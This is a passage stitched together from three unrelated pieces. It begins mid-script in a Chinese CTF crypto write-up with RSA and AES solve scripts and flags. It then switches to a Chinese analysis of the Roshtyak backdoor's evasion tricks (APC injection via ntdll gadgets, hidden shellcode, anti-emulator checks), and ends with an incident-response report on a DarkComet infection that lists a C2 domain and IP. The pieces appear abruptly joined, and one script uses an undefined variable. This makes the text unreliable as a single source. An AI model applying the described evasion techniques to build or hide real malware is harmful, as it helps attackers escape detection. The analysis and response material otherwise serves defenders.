data2=67958620138887907577348085925738704755742144710390414146201367031822084270769
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
e=data1
n=data1*data2
phi = (data1-1) * (data2-1)
d = gmpy2.invert(e,phi)
p_q = gmpy2.powmod(leak,d,n)
print(p_q)


#求解p,q
p_q=57684649402353527014234479338961992571416462151551812296301705975419997474236
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
var("p,q")
eq1= p-q ==p_q
eq2= p*q ==n
sol = solve([eq1,eq2], p, q)
print(sol)


p = 89050782851818876669770322556796705712770640993210984822169118425068336611139
q = 31366133449465349655535843217834713141354178841659172525867412449648339136903
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)-data2
print(m)
print(long_to_bytes(m))
 

脚本2:

 

 

data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
 
c = continued_fraction(data3)
alist = c.convergents()
 
for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
        print(a)
        break
 
data1 = int(a[0])
data2 = int(a[1])
 
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
 
tmp = leak % data1
paq = sqrt(tmp**2 + 4*n)
phi = n - paq + 1
 
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(int(m - data2).to_bytes(50,'big'))
3mkwivwfjnq13809.jpg SYC{a00338c150aa3a5163dbf404100e6754}


 

2.crazyTreat

关键在于构建关于m的多项式

$$P=m^p \pmod {p*q*r} \\
Q=m^q \pmod {p*q*r} \\
R=m^R \pmod {p*q*r} \\
 
费马小定理:\\
m^p=m \pmod p \\
P=m+k1*p+k2*pqr=m+k3*p \\
Q,R同理 \\\qquad\text{(1)}$$

即:

$$P=m+k3*p\\
Q=m+k4*q\\
R=m+k5*r\\

且:

k_3p=P-M,k_4q=Q-m,k_5r=R-m\\

所以:

P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)\equiv 0 \pmod n\qquad\text{(2)}$$
 
脚本1:
from Crypto.Util.number import *
import gmpy2
#coppersmith
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576


n = clown
p = trick


pbits = 512
kbits = 220
p=p>>kbits<<kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)
p=p+int(x0[0])
print(p)


#构建关于m的多项式求解即可,m即为r
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030


PR.<m> = PolynomialRing(Zmod(n))
f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m)
f = f.monic()
m = f.small_roots(X=2^280, beta=0.4)
print(m)


r=m


#直接解密即可
r=105960538296223496551922954965164644267919720177702173352061963871195469608683
p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
e = 65537
n=p*r
phi = (r-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(m)
print(long_to_bytes(m))

 

 

首先已知高位攻击,由于flag没填充,直接就可以出了。不需要解第三个素数了

脚本2:

c=10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209

trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

'''

len_bin=len(bin(trick)[2:])

high='11111001001110111100110011111101010101010101000011001011000101010010000100011011110111000011000101101111000110110001010111001101111110111100000111110011111001010100101001110111010001011011100111000100100000110101111101010011010001101111101001111111000111011001010101100000011110000100100010010010011100101'

high_len=len(high)

low_len=512-high_len

PR.<x> = PolynomialRing(Zmod(clown))

f = int(high,2)*2^low_len +x

x0 = f.small_roots(X=2^low_len, beta=0.4)[0]

#76347864203588455868161824448305083084387260376528823546715135

p=int(high,2)*2^low_len +x0

print(p)

'''

p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711

q=clown//p

phi=(p-1)*(q-1)

from Crypto.Util.number import *

d=inverse(65537,phi)

print(long_to_bytes(pow(c,d,clown)))

 

脚本3:

 

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

PR.<x>=Zmod(clown)[]
f=trick+x
for cut in range(1,256):
    r=f.small_roots(X=2^cut,beta=0.4)
    if r:
        r=a[0]
        break

p=GCD(ZZ(f(r)),clown)
q=clown//p

PR.<x>=Zmod(n)[]
f=(P-x)*(Q-x)*(R-x)
f=f.monic()
m=ZZ(f.small_roots(X=2^256)[0])

N =p*q*m
phi = (p-1)*(q-1)*(m-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(ZZ(m)))

 

 

3.Alexei needs help

将迭代改为循环即可

 

from random import randint

import gmpy2 as gp

from Crypto.Util.number import *

from Crypto.Cipher import AES

from hashlib import md5

from binascii import *

 

from tqdm import tqdm

 

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81

 

n = 2023

 

def seqsum(i):

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

    return ans

 

 

def home1work(n):

    if n == 1:

        return 1

    elif n == 2:

        return 1

    else:

        previous, current = 1, 1

        for i in tqdm(range(3, n + 1)):

            previous, current = current, (a * current + b * previous + seqsum(i)) % m

        return current

 

ans = home1work(n)

 

k = unhexlify(md5(str(ans).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

#data = flag + (16 - len(flag) % 16) * b"\x00"

data=long_to_bytes(ct)

ct = aes.decrypt(data)

print(ct)

#b"c7ceedc7197a0d350025fff478f667293ebbaa6b'\x00\x00\x00\x00\x00\x00\x00"

 

或者脚本:

memo = {}

import sys

 

sys.setrecursionlimit(100000)  

import gmpy2 as gp

 

a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215

b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673

m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817

seq = [

    1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064,

    12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860,

    13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339,

    8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005,

    5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052,

    9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050,

    6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410,

    3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626,

    2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738,

    10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

n = 2023

 

 

def seqsum(i):

    if i in memo:

        return memo[i]

 

    ans = 0

    for j in range(len(seq)):

        ans += gp.powmod(i, j, m) * seq[j]

 

    memo[i] = ans

    return ans

 

 

def homework(i):

    if i in memo:

        return memo[i]

 

    if i == 1:

        result = 1

    elif i == 2:

        result = 1

    else:

        result = (a * homework(i - 1) + b * homework(i - 2) + seqsum(i)) % m

 

    memo[i] = result

    return result

 

 

result = homework(2023)

ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'

from Crypto.Cipher import AES

from binascii import *

from hashlib import *

 

k = unhexlify(md5(str(result).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

aes = AES.new(key=k, mode=AES.MODE_ECB)

 

print(aes.decrypt(unhexlify(ct)))

 

 

 

 

题目附件:链接:https://pan.baidu.com/s/1DWfylZ-VV9zKgiOHiGj8tw   提取码:kdfw 

 

 

 

 

参考文章

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://blog.csdn.net/jyttttttt/article/details/131146160

https://www.cnblogs.com/Aann/p/17473430.html

https://mp.weixin.qq.com/s/O8RXt7lOift-pgIiTJJY2g

https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ

https://mp.weixin.qq.com/s/ghQQ59c-K9C1VADVW-eVZQ

 https://mp.weixin.qq.com/s/Gi3dQ3mDs3mZCRGtT4l_dg

惡意軟件開發者通常會使用各種技巧使分析工作變得更加困難。這些技巧包括使逆向工程複雜化的混淆技巧、逃避沙箱的反沙箱技巧、繞過靜態檢測的打包技巧等。多年來,各種惡意軟件在野外使用的無數欺騙手段都記錄了這一點。然而,儘管有許多可用的技巧,但在典型的惡意軟件中很少實現這些技巧。

本文就以Roshtyak 後門為例介紹惡意軟件的自保護、殺軟逃逸技巧。 Raspberry Robin於2021年9月首次被發現,通過受感染的USB設備傳播。本文的主題是一個我們稱為Roshtyak 的後門,它不是典型的惡意軟件。 Roshtyak 反分析設計很多。有些是眾所周知的,有些是我們從未見過的。從技巧角度來看,Roshtyak 的自我保護非常有趣。 Roshtyak 屬於我們見過的反分析最成功的的惡意軟件之一。我們希望通過發布我們對惡意軟件及其保護技巧的研究和分析,幫助其他研究人員識別和應對類似的技巧,並強化他們的分析環境,使他們對所描述的繞過技巧加強防護。

Roshtyak 是Raspberry Robin 使用的DLL 後門,一種通過受感染的可移動驅動器傳播的蠕蟲,Raspberry Robin今年非常流行。

Red Canary 的研究人員於2022 年5 月發布了對Raspberry Robin 的首次分析。 6 月,賽門鐵克發布了一份報告,描述了一次挖礦/剪貼板劫持操作,據報導,這讓攻擊者至少賺了170萬美元。賽門鐵克沒有將惡意操作與Raspberry Robin 聯繫起來。儘管如此,根據我們的分析,其幕後組織是Raspberry Robin。該評估基於我們分析中觀察到的CC 重疊、以及很多與其他惡意軟件相似性。 Cybereason、微軟和思科在2022 年7 月/8 月發布了進一步的報告。微軟報告說,Raspberry Robin 感染導致了DEV-0243(又名Evil Corp)勒索行為。雖然我們無法確認此連接。儘管如此,我們仍然有理由相信挖礦軟件有效載荷並不是Raspberry Robin 感染被貨幣化的唯一方式。最近的其他報導也暗示了Raspberry Robin 和Evil Corp 之間可能存在的聯繫。

1.png

儘管發表瞭如此多的報導,但關於Raspberry Robin 仍有許多未知數。惡意軟件背後的最終目標是什麼?誰負責運營Raspberry Robin ?它是如何變得如此流行的?不幸的是,我們沒有所有這些問題的答案。但是,我們可以回答我們多次看到的一個重要問題:在高度混淆的DLL(或我們稱之為Roshtyak)中隱藏了哪些功能?為了回答這個問題,我們對Roshtyak 示例進行了完全逆向工程。

Roshtyak介紹Roshtyak 包含多達14 層保護層,每層都經過高度混淆並服務於特定目的。一些工件表明這些層最初是PE 文件,但被轉換為只有以前的層知道如何解密和加載的自定義加密結構。許多反調試器、反沙盒、反虛擬機和反仿真器檢查遍布各個層。如果其中一項檢查成功檢測到分析環境,那麼將採取四個操作中的一個。

惡意軟件調用自己的TerminateProcess,以避免顯示任何進一步的惡意行為,並保持後續層的加密。

Roshtyak是故意撞車的。這與終止自身俱有相同的效果,但由於Roshtyak的混淆特性,可能無法立即清楚崩潰是有意的還是因為一個漏洞。

惡意軟件故意進入無限循環。由於循環本身位於混淆代碼中並且跨越數千條指令,因此可能很難確定循環是否在為攻擊做準備。

最有趣的情況是惡意軟件通過解包和加載虛假有效負載來繞過成功檢查,這發生在第八層,它加載了幾十個反分析檢查。每個檢查的結果都用於修改全局變量的值。在第8 層的數據段加密了兩個有效載荷。真正的第9 層和偽造的有效載荷,只有在執行所有檢查後,全局變量與預期值匹配時,才會解密真正的第九層。如果檢測到分析環境,則全局變量的值將與預期值不同,從而導致Roshtyak 解包並執行虛假有效負載。

2.png

Roshtyak 的混淆導致即使是相對簡單的函數也變得很大。如果想在合理的時間範圍內對其進行逆向工程,就需要一些自定義的反混淆工具。

虛假有效載荷是一個BroAssist(又名BrowserAssistant)廣告軟件示例。我們認為,這個虛假的有效載荷旨在誤導惡意軟件分析師認為該示例沒有實際情況那麼有趣。當逆向工程師專注於快速解包示例時,整個示例可能看起來“只是”一個混淆的廣告軟件(而且是一個非常古老的廣告軟件),這可能會導致分析師對深入挖掘失去興趣。事實證明,這些虛假的有效載荷惡作劇可能非常有效。從下面的屏幕截圖中可以看出,它欺騙了至少一名研究人員,該研究人員漏洞地將Raspberry Robin 蠕蟲歸因於虛假的BrowserAssistant 有效載荷。

3.png

這表明,鑑於Roshtyak 的設計和復雜性,犯這樣的漏洞是多麼容易。

複雜的混淆技巧現在讓我們直接詳細介紹Roshtyak 採用的一些有趣的規避技巧。

段寄存器在執行的早期,Roshtyak 更喜歡使用不需要調用任何導入函數的檢查。如果其中一項檢查成功,則示例可以安靜地退出,而不會生成任何可疑的API 調用。下面是Roshtyak 檢查gs 段寄存器行為的示例。該檢查被設計為隱形的,周圍的垃圾指令使其容易被忽視。

4.png

只有帶下劃線的指令是有用的

此檢查背後的第一個想法是檢測單個執行。在上面的代碼片段之前,cx 的值被初始化為2。在彈出ecx指令之後,Roshtyak檢查cx是否仍然等於2。這將是預期的行為,因為該值應該在正常情況下通過堆棧和gs 寄存器傳播。但是,單個事件會重置gs 選擇器的值,這會導致最後彈出一個不同的值到ecx 中。

但這項檢查還有更多內容。作為上述兩個push/pop 對的副作用,gs 的值暫時更改為2。在此檢查之後,Roshtyak 進入一個循環,計算迭代次數,直到gs 的值不再是2。 gs 選擇器在線程上下文切換後也會被重置,因此循環本質上是計算迭代次數,直到發生上下文切換。 Roshtyak 多次重複此過程,求出結果的平均值,並檢查它是否屬於裸機執行環境的合理範圍。如果示例在虛擬機管理程序或模擬器中運行,則平均迭代次數可能會超出此範圍,這使Roshtyak 能夠檢測到不需要的執行環境。

Roshtyak 還檢查cs 段寄存器的值是0x1b 還是0x23。此時,0x1b 是在原生x86 Windows 上運行時的預期值,而0x23 是在WoW64 中運行時的預期值。

通過隨機ntdll gadget注入APCRoshtyak從獨立的進程中執行一些功能。例如,當它與它的CC服務器通信時,它會生成一個新的看似無害的進程,如regsvr32.exe。通過使用共享段,它將通信模塊注入到新進程的地址空間中。被注入的模塊通過APC注入執行,使用的是NtQueueApcThreadEx。

有趣的是,ApcRoutine 參數(標記要安排執行的目標例程)並不指向注入模塊的入口點。相反,它指向ntdll 中看似隨機的地址。仔細一看,我們發現這個地址不是隨機選擇的,而是Roshtyak 掃描了ntdll 的代碼段來查找pop r32;retgadget(不包括pop,因為旋轉堆棧是不可取的),並隨機選擇一個作為ApcRoutine。

5.png

隨機彈出r32; ret gadget 用作APC 注入的入口點

查看ApcRoutine 的調用約定可以理解發生了什麼。 pop 指令使堆棧指針指向NtQueueApcThreadEx 的SystemArgument1 參數,因此ret 指令有效地跳轉到SystemArgument1 指向的任何位置。這意味著通過濫用這個gadget,Roshtyak 可以將SystemArgument1 作為APC 注入的入口點。這混淆了控制流並使NtQueueApcThreadEx 調用看起來更合法。如果有人掛鉤此函數並檢查ApcRoutine 參數,它指向ntdll 代碼段的事實可能足以讓他們相信該調用不是惡意的。

檢查組合寫入內存的讀/寫性能在接下來的檢查中,Roshtyak 分配一個帶有PAGE_WRITECOMBINE 標誌的大內存緩衝區。該標誌應該修改緩存行為以優化順序寫入性能,不過這是以讀取性能和可能的內存排序為代價的。 Roshtyak 使用它來檢測它是否在物理設備上運行。它進行了一項實驗,首先寫入分配的緩衝區,然後從分配的緩衝區中讀取,同時使用一個單獨的線程作為計數器來測量讀寫性能。該實驗重複32 次,只有在大多數情況下寫性能至少是讀性能的6倍時,才會通過檢查。如果檢查失敗,Roshtyak就會故意選擇漏洞的RC4密鑰,從而導致無法正確地解密下一層。

隱藏shellcode有趣的是,注入的shellcode 也被隱藏了。當Roshtyak 準備代碼注入時,它首先創建一個大段並將其作為PAGE_READWRITE 映射到當前進程中。然後,它用隨機數據填充該段,並將shellcode 放置在隨機數據內的隨機偏移處。由於shellcode 只是一個相對較小的加載器,後面跟著看起來是隨機的打包數據,所以整個段看起來像隨機數據。

6.png

共享區段內字節的直方圖。注意,它看起來幾乎是隨機的,最可疑的符號是空字節的輕微過度表示。

然後該段從當前進程中取消映射,並映射到目標進程中,在目標進程中使用上述APC 注入技巧執行該段。添加隨機數據是為了隱藏shellcode 的存在。僅從目標進程的內存轉儲來看,該段可能看起來充滿了隨機數據並且不包含任何有效的可執行代碼。即使有人懷疑該段中間某處的實際有效代碼,也不容易找到它的確切位置。

7.png

共享段中shellcode 的開始。可能很難確定確切的起始地址,因為它通常是從奇數bt指令開始的。

Ret2Kernel32Roshtyak特別注意清理自己的攻擊痕跡。每當不再需要某個字符串或某段內存時,Roshtyak 就會清除或釋放它,以試圖清除盡可能多的證據。 Roshtyak 的圖層也是如此。每當一層完成其工作時,它就會在將執行傳遞到下一層之前進行自我釋放。但是,該層不能簡單直接地自我釋放。如果它在當前正在執行的內存區域上調用VirtualFree,整個進程將會崩潰。

因此,Roshtyak 通過在層轉換期間執行的ROP 鏈來釋放層以避免此問題。當一個層即將退出時,它會在堆棧上構造一個ROP 鏈並返回其中。下面可以看到這樣一個ROP 鏈的示例。該鏈首先返回VirtualFree 和UnmapViewOfFile 以釋放上一層的內存。然後,它返回到下一層。下一層的返回地址設置為RtlExitUserThread,以保障執行安全。

8.png

一個簡單的ROP 鏈,由VirtualFree - UnmapViewOfFile - next layer - RtlExitUserThread 組成。

MulDiv漏洞MulDiv是一個由kernel32.dll導出的函數,它接受三個32位有符號整數作為參數。它將前兩個參數相乘,將乘法結果除以第三個參數,並返回最後的結果四捨五入到最接近的整數。雖然這可能看起來是一個足夠簡單的函數,但在微軟的實現中有一個古老的符號擴展漏洞。這個漏洞現在被認為是一個功能,可能永遠不會被修復。

Roshtyak 知道該漏洞並通過調用MulDiv(1,0x80000000,0x80000000) 來測試它的存在。在真實的Windows 設備上,這會觸發漏洞並且MulDiv 漏洞地返回2,即使正確的返回值應該是1,因為(1 * -2147483648)/-2147483648=1。這允許Roshtyak 檢測不復制漏洞的模擬器.例如,這成功檢測到Wine,有趣的是,它包含一個不同的漏洞,這使得上述調用返回0。

篡改存儲在堆棧中的返回地址還有一些用來混淆函數調用的技巧。如上一節所示,Roshtyak喜歡使用ret指令調用函數。下一個技巧與此類似,因為它也操作堆棧,因此可以使用ret 指令跳轉到所需的地址。

為了實現這一點,Roshtyak 掃描當前線程的堆棧,尋找指向前一層代碼段的指針,與其他層不同,這一層沒有使用ROP 鏈技巧釋放。它用它想要調用的地址替換所有這些指針。然後它讓代碼多次返回,直到ret 指令遇到一個被劫持的指針,將執行重定向到所需的地址。

一、準備階段1.1 基本情況DarkComet (暗黑彗星)是由Jean-Pierre Lesueur(稱為DarkCoderSc)開發的遠程訪問木馬(稱為RAT),在2012 年初開始擴散,它用於許多有針對性的攻擊,能夠通過網絡攝像頭拍照,通過連接到PC 的麥克風竊聽對話,並獲得對受感染機器的完全控制。該RAT 還以其鍵盤記錄和文件傳輸功能而聞名,因此,任何遠程攻擊者都可以將任何文件加載到受感染的機器上,甚至竊取管理員權限、計算機/用戶名、語言/國家、操作系統信息、使用的內存、網絡攝像頭信息、文檔等。它會禁用任務管理器、註冊表編輯器和文件夾選項,修改註冊表項以禁用Windows 防火牆設置,此操作允許此惡意進程執行而不會被Windows 防火牆檢測到。別名有:Fynloski、Krademok、DarkKomet 等。

1.2 功能DarkKomet 主要功能:遠控,對用戶行為進行監控並為攻擊者開啟SYSTEM 後門,竊取用戶信息並回傳竊取的信息發送給攻擊者,同時還可以下載其他惡意軟件。

1.3 傳播方式DarkKomet 將自身偽裝成筆記本電腦觸控板的驅動程序Synaptics Pointing Device Driver,啟動後,會全盤遍歷exe 文件、xlsx 文件,並將目標文件更新到病毒資源中,將shellcode 注入的圖標資源替換為目標文件圖標,然後用病毒文件覆蓋目標文件,完成感染,實現不死及復生能力。並可通過U盤插入、xlsx 文件分享、遠控軟件捆綁實現橫向擴散,具有極強傳播能力。

二、檢測階段1.jpeg

貨拉拉終端應急響應檢測機制基於TTP驅動、離群數據驅動、殺毒事件驅動、威脅情報驅動混合。該次事件由EDR收集終端全量啟動項數據,結合威脅情報接口,實現終端權限維持數據基線的分鐘級掃描。高危事件通過webhook 實現IM告警,方便安全運營人員實時接入處置,並通過工單記錄匯總。

聚合N day內該病毒感染的終端量及感染者的賬號、用戶名、部門等信息,最終由多條alert形成單條完整incident。

2.jpeg

通過webhook/工單形式將消息推送給終端安全運營人員對事件進行下鑽,IOC/TTP加入EDR實時檢測阻斷規則,完成由單次事件檢測—— 一類事件阻斷的事件閉環。

三、抑制階段3.1 事件的處置1、攔截回連c2域名、IP,中斷連接。

2、遠程接入應急溯源,獲取TTP。

四、根除階段4.1 刪維權該病毒通過Run 鍵實現到權限維持(開機自啟動),刪除啟動項

3.jpeg

4.2 清進程結束2 個Synaptics.exe進程

4.jpeg

4.3 刪文件進入DarkKomet 文件目錄,只有WS文件夾,卻找不到相關可執行文件

5.jpeg

懷疑DarkKomet隱藏自身,取消勾選【隱藏受保護的操作系統文件】並選中【顯示隱藏文件】

6.jpeg

被隱藏的病毒文件Synaptics.exe顯形,

7.jpeg

刪除文件,提示需要SYSTEM權限(高於Administrator),病毒文件通過修改文件屬主及文件權限實現強行駐留

8.jpeg

修改文件屬主為administrator並繼承權限後,刪除病毒文件

微信图片_20221202152016.png

4.4 溯源頭清除威脅後,溯源入口點,從取證角度獲取2022-05-17 16:29:30 運行軟件信息,發現可疑文件路徑

F:\柯美黑白機64位系統\

10.jpeg

可疑點:該文件位於F盤,且運行時間與病毒創建時間密切相關,但用戶終端上卻只有C、D、E盤。

12.jpeg

猜測該盤為第三方便攜插入式U盤,諮詢用戶後得到【安裝打印機】細節。

由此推測:該病毒原本位於U盤中,安裝打印機時插入U盤,U盤內的病毒自動感染終端位於C盤的文件,實現橫向擴散。

由於該病毒具有感染性,推測還感染了其他文件。通過遍歷NTFS文件系統MFT-TIME,獲取2022-05-17 16:29:30 - 2022 - 05 -17 16:29:40 創建及修改的所有文件,獲取被感染文件信息

13.jpeg

通過日誌回溯取證,發現f:\京瓷複印機\Kx6111118_en\setup.exe入駐Run鍵,創建病毒文件C:\ProgramData\Synaptics\Synaptics.exe,並將Synatics.exe添加啟動項。由此映證猜測,C2病毒感染源頭為安裝打印機時插入U盤。

五、恢復階段1、清除被感染的'_cache_'文件

2、IOC/TTP 加入EDR、殺毒,複驗攻擊能被實時阻斷。

3、受損用戶更改密碼

六、總結階段IOC:

DNS:xred.mooo.com

IP:69.42.215.252

TTP:

14.jpeg

6.1 歷史事件某用戶請第三方安裝師傅安裝打印機,插入U 盤後,U 盤中已存在的DarkKomet 組織synaptics 病毒自動運行,進而感染終端位於C 盤下的十餘個進程及文件。

某員工下載被投毒的todesk 進行遠程辦公【具有todesk 功能,實為synaptics 遠控病毒新變種】,導致感染synaptics 病毒。

某員工下載CAD 破解軟件,其中夾雜最新版synaptics 病毒。

.

本輪synaptics 應急響應,終端產生的威脅主要來自:U 盤擴散、軟件投毒捆綁這兩種形式。病毒最明顯特徵為:未簽名進程C:\ProgramData\Synaptics\Synaptics.exe 入駐Run鍵以權限維持。

